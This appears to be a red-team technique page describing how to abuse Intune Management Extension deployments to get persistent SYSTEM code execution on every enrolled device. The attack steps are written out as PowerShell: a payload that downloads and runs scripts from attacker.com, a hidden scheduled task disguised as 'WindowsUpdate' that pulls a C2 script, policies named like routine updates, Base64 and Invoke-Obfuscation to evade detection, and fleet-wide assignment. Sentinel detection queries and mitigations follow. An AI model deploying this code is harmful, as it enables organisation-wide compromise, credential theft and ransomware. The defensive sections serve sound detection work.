| Attribute | Details |
|---|---|
| Technique ID | PERSIST-EVENT-002 |
| MITRE ATT&CK v18.1 | T1546 - Event Triggered Execution |
| Tactic | Persistence, Privilege Escalation |
| Platforms | M365, Entra ID, Windows Endpoint (Intune-enrolled) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Intune all versions, Windows 10/11 21H2+, macOS 10.15+, iOS 14+, Android 9+ |
| Patched In | Not patched; mitigated via Intune compliance policies |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Intune Management Extensions (IME) are cloud-managed PowerShell scripts and executable installers that Microsoft Intune deploys to enrolled devices for software distribution, compliance enforcement, and system configuration. An attacker who gains administrative access to an Intune tenant can abuse the IME deployment mechanism to deploy arbitrary malicious scripts or binaries to all enrolled devices (potentially thousands). The deployment executes with SYSTEM privileges and persists across reboots, as Intune continuously ensures deployment compliance.
Attack Surface: Microsoft Intune admin portal, Intune Graph API (https://graph.microsoft.com), IME deployment policies, device compliance rules, and the local Intune Management Extension service on enrolled endpoints.
Business Impact: Organization-Wide Persistent Compromise. An attacker can execute code on all Intune-enrolled devices (potentially 10,000+ endpoints) simultaneously. This enables wholesale credential theft, ransomware deployment, supply chain attacks, and complete infrastructure compromise. The attack is difficult to detect because Intune deployments appear legitimate to endpoint security tools and users.
Technical Context: Intune Management Extensions run with SYSTEM privileges and execute every time the device syncs with Intune (typically every 8 hours, or immediately after policy deployment). The extension can execute PowerShell scripts, install MSI packages, or run compiled executables. A compromised global admin or an attacker who steals an admin’s credentials can deploy extensions to target device groups without triggering suspicious activity alerts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.1 | Ensure that Intune Administrators are not assigned Global Admin role |
| CIS Benchmark | 2.1.1 | Ensure that Intune policies are reviewed and approved before deployment |
| DISA STIG | AZ-MA-000040 | Intune: Ensure Managed Device Administrator accounts are restricted |
| CISA SCuBA | EXO.MS.1 | Require multi-factor authentication for all user account access |
| NIST 800-53 | AC-2 | Account Management - Enforcement of approved account management processes |
| NIST 800-53 | CA-7 | Continuous Monitoring - Automated monitoring of access and privilege use |
| NIST 800-53 | SI-7 | System Monitoring - Automated monitoring of system-level activity |
| GDPR | Art. 32 | Security of Processing - Technical and organizational measures |
| GDPR | Art. 33 | Notification of a Personal Data Breach |
| DORA | Art. 9 | Protection and Prevention of Operational Resilience |
| NIS2 | Art. 21(1)(c) | Cyber Risk Management - Identifying and monitoring risks to network and information security |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27001 | A.12.4.1 | Event Logging |
| ISO 27005 | 5.3 | Risk Assessment - Identification of threats to assets |
PowerShell Command (Windows Device):
# Check if device is Intune-enrolled
$EnrollmentStatus = Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Enrollment" -ErrorAction SilentlyContinue
if ($EnrollmentStatus) {
Write-Host "✓ Device is Intune-enrolled"
$EnrollmentStatus | Get-ItemProperty | Select PSChildName
} else {
Write-Host "✗ Device is NOT Intune-enrolled"
}
# Check Intune Management Extension presence
$IMEPath = "C:\Program Files (x86)\Microsoft Intune Management Extension\"
if (Test-Path $IMEPath) {
Write-Host "✓ Intune Management Extension installed"
Get-ChildItem $IMEPath -Recurse | Select Name, FullPath
} else {
Write-Host "✗ Intune Management Extension NOT installed"
}
# Check scheduled task for IME sync
Get-ScheduledTask -TaskName "*Intune*" -ErrorAction SilentlyContinue | Select TaskName, State
What to Look For:
Microsoft Graph API Query (PowerShell):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "DeviceManagementServiceConfig.Read.All", "DeviceManagementConfiguration.Read.All"
# List all Intune-enrolled devices
Get-MgDeviceManagementManagedDevice | Select DisplayName, DeviceName, OS, EnrollmentProfileName | Format-Table
# List all device groups (targeting policies)
Get-MgGroup | Where-Object { $_.DisplayName -like "*device*" -or $_.DisplayName -like "*endpoint*" } | Select DisplayName, Id
# List all Intune device configuration policies (scripts deployed via IME)
Get-MgDeviceManagementDeviceConfiguration | Select DisplayName, Description, Id
What to Look For:
Azure Portal Reconnaissance:
PowerShell Query:
# Get all users with Intune Administrator role
$RoleId = (Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Intune Administrator" }).Id
Get-MgDirectoryRoleMember -DirectoryRoleId $RoleId | Select DisplayName, UserPrincipalName
Supported Versions: Intune all versions, Windows 10/11 21H2+
Objective: Gain access to the Intune management interface using compromised credentials.
Command (PowerShell with Intune Module):
# Install Intune PowerShell module
Install-Module Microsoft.Graph.Intune -Repository PSGallery -Force
# Authenticate to Intune
Connect-MgGraph -Scopes "DeviceManagementServiceConfig.ReadWrite.All", "DeviceManagementConfiguration.ReadWrite.All"
# Verify authentication
Get-MgOrganization | Select DisplayName
Expected Output:
DisplayName
-----------
Contoso Corp
What This Means:
OpSec & Evasion:
Troubleshooting:
References:
Objective: Prepare the PowerShell payload that will execute on target devices.
Command (Create Script):
# Define the malicious PowerShell script
$MaliciousScript = @'
# Payload: Download and execute remote shell
$URL = "http://attacker.com/payload.ps1"
$Output = "C:\Windows\Temp\update.ps1"
try {
(New-Object System.Net.WebClient).DownloadFile($URL, $Output)
& $Output
} catch {
# Silent failure - do not alert user
}
# Persistence: Create scheduled task
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -Command 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/c2.ps1\")'"
$Trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $Action -Trigger $Trigger -RunLevel Highest -Force | Out-Null
# Credential theft
$DPAPIKey = (Get-ChildItem 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU').GetValue("MRUList")
# ... additional malicious code ...
'@
# Save script to file
$MaliciousScript | Out-File -FilePath "C:\Temp\malicious_script.ps1" -Encoding UTF8 -Force
Expected Output:
(Script saved to C:\Temp\malicious_script.ps1)
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Create an Intune device configuration profile containing the malicious script.
Command (Create Device Configuration Policy via Graph API):
# Read the malicious script
$ScriptContent = Get-Content -Path "C:\Temp\malicious_script.ps1" -Raw
# Encode script in Base64 (optional, for obfuscation)
$EncodedScript = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($ScriptContent))
# Create device configuration policy with PowerShell script
$PolicyBody = @{
"@odata.type" = "#microsoft.graph.winGetAppConfiguration"
displayName = "Windows Software Updates"
description = "Automated Windows software deployment"
settings = @{
scriptContent = $ScriptContent # or $EncodedScript for obfuscation
runAs32Bit = $false
enforceSignatureCheck = $false
}
}
# Post to Graph API
$Headers = @{ "Content-Type" = "application/json" }
$Policy = Invoke-MgGraphRequest -Method POST `
-Uri "https://graph.microsoft.com/beta/deviceManagement/deviceConfigurations" `
-Body ($PolicyBody | ConvertTo-Json) `
-Headers $Headers
Write-Host "Policy created with ID: $($Policy.id)"
Alternative Method (Using Intune Device Configuration - PowerShell Scripts):
# Via Microsoft.Graph.Intune module
$ScriptContent = Get-Content "C:\Temp\malicious_script.ps1" -Raw
$DeviceConfig = New-MgDeviceManagementDeviceConfiguration -DisplayName "System Maintenance Script" `
-Description "Routine system updates" `
-ODataType "#microsoft.graph.deviceConfiguration"
# Note: Direct PowerShell script deployment requires Graph beta endpoint
# See next step for upload via portal
Expected Output:
Policy created with ID: 12345678-1234-1234-1234-123456789012
What This Means:
OpSec & Evasion:
Troubleshooting:
https://graph.microsoft.com/beta/...References:
Objective: Assign the malicious policy to a group of devices.
Command (Assign Policy to Device Group):
# Get the device group ID (e.g., "All Devices")
$TargetGroup = Get-MgGroup | Where-Object { $_.DisplayName -eq "All Devices" }
$GroupId = $TargetGroup.Id
# Get the policy ID created in Step 3
$PolicyId = "12345678-1234-1234-1234-123456789012" # From Step 3 output
# Create assignment
$AssignmentBody = @{
"@odata.type" = "#microsoft.graph.deviceConfigurationAssignment"
intent = "apply"
target = @{
"@odata.type" = "#microsoft.graph.allDevicesAssignmentTarget"
}
}
# Post assignment
Invoke-MgGraphRequest -Method POST `
-Uri "https://graph.microsoft.com/beta/deviceManagement/deviceConfigurations/$PolicyId/assignments" `
-Body ($AssignmentBody | ConvertTo-Json) `
-ContentType "application/json"
Write-Host "✓ Policy deployed to target group"
Expected Output:
✓ Policy deployed to target group
What This Means:
Alternative: Deploy to Specific Device Group:
# Target specific group (e.g., "Finance Department Devices")
$TargetGroup = Get-MgGroup | Where-Object { $_.DisplayName -eq "Finance Department Devices" }
# Create assignment with group target
$AssignmentBody = @{
"@odata.type" = "#microsoft.graph.deviceConfigurationAssignment"
intent = "apply"
target = @{
"@odata.type" = "#microsoft.graph.groupAssignmentTarget"
groupId = $TargetGroup.Id
}
}
OpSec & Evasion:
Troubleshooting:
Get-MgGroup | Select DisplayName to list all groupsReferences:
Objective: Confirm that the malicious script executed on target devices.
Command (On Target Device):
# Check Intune Management Extension logs
$IMELogPath = "C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\"
Get-ChildItem $IMELogPath -Filter "*IntuneManagementExtension*" | Sort LastWriteTime -Descending | Select -First 1 | Get-Content
# Alternative: Check event log for IME execution
Get-WinEvent -LogName "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational" `
-FilterXPath "*[System[EventID=9014 or EventID=9015]]" -MaxEvents 10 |
Select TimeCreated, Message
# Verify persistence mechanism (scheduled task)
Get-ScheduledTask -TaskName "WindowsUpdate" | Select TaskName, State, LastRunTime
Expected Output:
TaskName State LastRunTime
-------- ----- -----------
WindowsUpdate Running 2026-01-09 15:30:00
What This Means:
Supported Versions: Intune all versions, Windows 10/11
Objective: Package malware as a Windows Installer for deployment.
Command (Using WiX Toolset):
# Note: Requires WiX Toolset installation
# This is an advanced technique; most attackers would pre-build the MSI
# Example: Download pre-built malicious MSI from attacker server
$MSIUrl = "http://attacker.com/windows-update.msi"
$MSIPath = "C:\Temp\windows-update.msi"
(New-Object System.Net.WebClient).DownloadFile($MSIUrl, $MSIPath)
# Verify MSI integrity
Get-FileHash -Path $MSIPath -Algorithm SHA256
Objective: Register the MSI as a Line-of-Business application in Intune.
Command (Via Azure Portal):
Command (Via PowerShell - Not Recommended, Complex):
# MSI deployment via Graph API is complex and not recommended for initial entry
# Manual upload via portal is more reliable
Objective: Assign the malicious application to target devices.
Manual Steps (Portal):
What This Means:
Supported Versions: Intune all versions
Objective: Create a PowerShell script that remedies (or exploits) non-compliance.
Command:
# Intune Compliance - Remediation Script
# This script is executed when device is detected as non-compliant
$RemediationScript = @'
# Check if device is compliant
$IsCompliant = (Get-ComputerInfo).BiosVersion -like "*VMware*"
if (-NOT $IsCompliant) {
# Remediate by executing malicious code
IEX(New-Object Net.WebClient).DownloadString("http://attacker.com/payload.ps1")
}
'@
$RemediationScript | Out-File "C:\Temp\remediation.ps1" -Encoding UTF8
Objective: Attach the remediation script to a compliance policy.
Manual Steps (Portal):
Objective: Assign compliance policy to device groups.
Manual Steps (Portal):
What This Means:
Version: 1.0+ (latest: 2.0+)
Minimum Version: 0.5.0
Supported Platforms: Windows, macOS, Linux (PowerShell 7+)
Installation:
# Install latest version
Install-Module Microsoft.Graph.Intune -Repository PSGallery -Force -AllowClobber
# Or install specific module for device management
Install-Module Microsoft.Graph.DeviceManagement -Repository PSGallery -Force
Usage:
# Authenticate
Connect-MgGraph -Scopes "DeviceManagementServiceConfig.ReadWrite.All"
# List all devices
Get-MgDeviceManagementManagedDevice | Select DisplayName, DeviceName, OS
# Get compliance policies
Get-MgDeviceManagementCompliancePolicy | Select DisplayName, Id
Version: Available natively on all Intune-enrolled devices
Minimum Version: Windows 10 1909+
Supported Platforms: Windows 10/11, macOS 10.15+, iOS 14+, Android 9+
Location on Device: C:\Program Files (x86)\Microsoft Intune Management Extension\
Service Name: IntuneManagementExtension
Features:
Tool: Invoke-Obfuscation
Version: Latest available
Usage:
# Download and install
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
cd Invoke-Obfuscation
Import-Module .\Invoke-Obfuscation.psd1
# Obfuscate PowerShell command
Invoke-Obfuscation -ScriptPath "C:\Temp\malicious_script.ps1" -Command 'Invoke-Obfuscation > OUT String\1' -Quiet
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Assign device configuration", "Create device configuration", "Update device configuration")
| where Result == "Success"
| where TargetResources has "PowerShell" or TargetResources has "Script"
| extend InitiatedByUser = InitiatedBy.user.userPrincipalName
| extend TargetGroupSize = extract(@'"groupSize":"(\d+)"', 1, tostring(TargetResources))
| where toint(TargetGroupSize) > 100 // Alert if deployment to >100 devices
| project TimeGenerated, InitiatedByUser, OperationName, TargetResources, TargetGroupSize
| summarize DeploymentCount=count() by InitiatedByUser, bin(TimeGenerated, 1h)
| where DeploymentCount > 3 // Alert if >3 deployments in 1 hour
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Intune Policy Deployment DetectedHigh5 minutes1 hourRule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Add member to role"
| where TargetResources contains "Intune Administrator" or TargetResources contains "Cloud Application Administrator"
| extend GrantedToUser = TargetResources[0].displayName
| extend GrantedByUser = InitiatedBy.user.userPrincipalName
| project TimeGenerated, GrantedToUser, GrantedByUser, OperationName, InitiatedBy.ipAddress
| where GrantedByUser != "Microsoft.Azure.SyncFabric" // Exclude automated sync
What This Detects:
Manual Configuration Steps:
Critical: New Intune Administrator DetectedCriticalRule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Delete device configuration", "Update device configuration")
| where ActivityDisplayName contains "device" and ActivityDisplayName contains "policy"
| where Result == "Success"
| extend ModifiedByUser = InitiatedBy.user.userPrincipalName
| extend PolicyName = tostring(TargetResources[0].displayName)
| project TimeGenerated, ModifiedByUser, OperationName, PolicyName, InitiatedBy.ipAddress
What This Detects:
Event ID: 4695 (Unprotected Policy Secrets)
Manual Configuration Steps (Group Policy - Enable Process Creation Auditing):
gpupdate /force on all endpointsEvent ID: 1016 (Application Installed)
Manual Configuration Steps (Enable MSI Logging):
Logging3 (logs all installation details)New-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\Installer" -Name "Logging" -Value "3" -PropertyType DWord -Force
Alert Name: “Suspicious Intune Management Extension Activity”
Alert Name: “Unusual Role Assignment to Intune Administrator”
Manual Configuration Steps (Enable Defender for Cloud):
Operation: Intune Device Configuration Policy Create/Update/Delete
# Connect to Exchange Online
Connect-ExchangeOnline
# Search for Intune policy changes
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-Operations "Create device configuration", "Update device configuration", "Assign device configuration" `
-ResultSize 5000 | Export-Csv -Path "C:\Audit\Intune-Policies.csv" -NoTypeInformation
Workload: Azure Active Directory / Intune
Details to Analyze:
Manual Configuration Steps (Microsoft Purview Portal):
Interpretation:
Restrict Intune Administrator Role: Limit the number of users with Intune Admin role to absolute minimum (principle of least privilege). Applies To Versions: All Intune deployments
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Get all Intune Administrators
$RoleId = (Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Intune Administrator" }).Id
$Admins = Get-MgDirectoryRoleMember -DirectoryRoleId $RoleId
# Display current admins
$Admins | Select DisplayName, UserPrincipalName
# Remove unauthorized admin (if identified)
Remove-MgDirectoryRoleMember -DirectoryRoleId $RoleId -MemberId "user-id-guid"
Enforce MFA on All Intune Administrators: Require multi-factor authentication for all accounts with Intune Admin role.
Manual Steps (Conditional Access Policy):
Require MFA for Intune AdminsAudit All Intune Policy Deployments: Enable comprehensive audit logging of all device configuration policy changes.
Manual Steps (Azure Portal):
Intune Policy Audit AlertBlock PowerShell Script Deployments (If Possible): Consider restricting PowerShell script deployments via Intune if not critical to operations.
Manual Steps (Intune Policy):
Block PowerShell Script DeploymentRequire Approval for Device Configuration Deployments: Implement change control process for Intune policies.
Manual Steps (Azure DevOps Integration):
Monitor for Suspicious Policy Names: Create alert for policies with suspicious naming patterns.
Manual Steps (Sentinel Alert):
AuditLogs
| where OperationName == "Create device configuration"
| where TargetResources[0].displayName has_any ("update", "patch", "maintenance", "script", "payload", "shell")
| where not(TargetResources[0].displayName has_any ("Windows Update", "Security Update", "Patch Tuesday"))
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources
Implement Device Compliance Baseline: Establish baseline compliance requirements that cannot be bypassed via remediation scripts.
Manual Steps (Intune):
# Verify Intune Admin restrictions
$RoleId = (Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Intune Administrator" }).Id
$Admins = Get-MgDirectoryRoleMember -DirectoryRoleId $RoleId | Select DisplayName, UserPrincipalName
Write-Host "Intune Administrators (should be <= 3 users):"
Write-Host "Count: $($Admins.Count)"
$Admins | Format-Table
# Verify MFA is enforced
$ConditionalAccessPolicy = Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -match "Intune" }
if ($ConditionalAccessPolicy.Conditions.GrantControls.BuiltInControls -contains "mfa") {
Write-Host "✓ SECURE: MFA required for Intune Admins"
} else {
Write-Host "✗ UNSAFE: MFA NOT required for Intune Admins"
}
Expected Output (If Secure):
Intune Administrators (should be <= 3 users):
Count: 2
DisplayName UserPrincipalName
----------- -----------------
Admin User 1 admin1@contoso.com
Admin User 2 admin2@contoso.com
✓ SECURE: MFA required for Intune Admins
# Disconnect from network
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
Manual (Azure):
# Collect Intune logs
Copy-Item -Path "C:\ProgramData\Microsoft\IntuneManagementExtension" -Destination "C:\Evidence\Intune-Extension" -Recurse
# Export event logs
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl System C:\Evidence\System.evtx
# Export registry
reg export HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "C:\Evidence\Run-Keys.reg"
# List scheduled tasks
Get-ScheduledTask | Export-Clixml C:\Evidence\ScheduledTasks.xml
Command (PowerShell):
# Connect to Graph
Connect-MgGraph -Scopes "DeviceManagementConfiguration.ReadWrite.All"
# Get malicious policy ID
$Policy = Get-MgDeviceManagementDeviceConfiguration | Where-Object { $_.DisplayName -eq "Suspicious Policy Name" }
# Remove policy
Remove-MgDeviceManagementDeviceConfiguration -DeviceConfigurationId $Policy.Id
# Verify policy is removed
Get-MgDeviceManagementDeviceConfiguration | Select DisplayName
# Remove malicious scheduled tasks
Get-ScheduledTask | Where-Object { $_.TaskName -like "WindowsUpdate" } | Unregister-ScheduledTask -Confirm:$false
# Clear persistence registry keys
Remove-ItemProperty -Path "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "Malicious" -ErrorAction SilentlyContinue
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Attacker gains initial access via misconfigured Application Proxy |
| 2 | Privilege Escalation | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker elevates to Global Admin or Intune Admin |
| 3 | Persistence (Current Step) | [PERSIST-EVENT-002] | Intune Management Extension Malicious Script Deployment |
| 4 | Defense Evasion | [DEFENSE-EVASION] Audit Log Deletion | Attacker clears AuditLogs records of policy deployment |
| 5 | Command & Control | [C2-001] PowerShell Reverse Shell | Deployed script establishes C2 channel |
| 6 | Impact | [IMPACT-DATA-001] Credential Theft via IME Privilege | IME executes credential dumper with SYSTEM rights |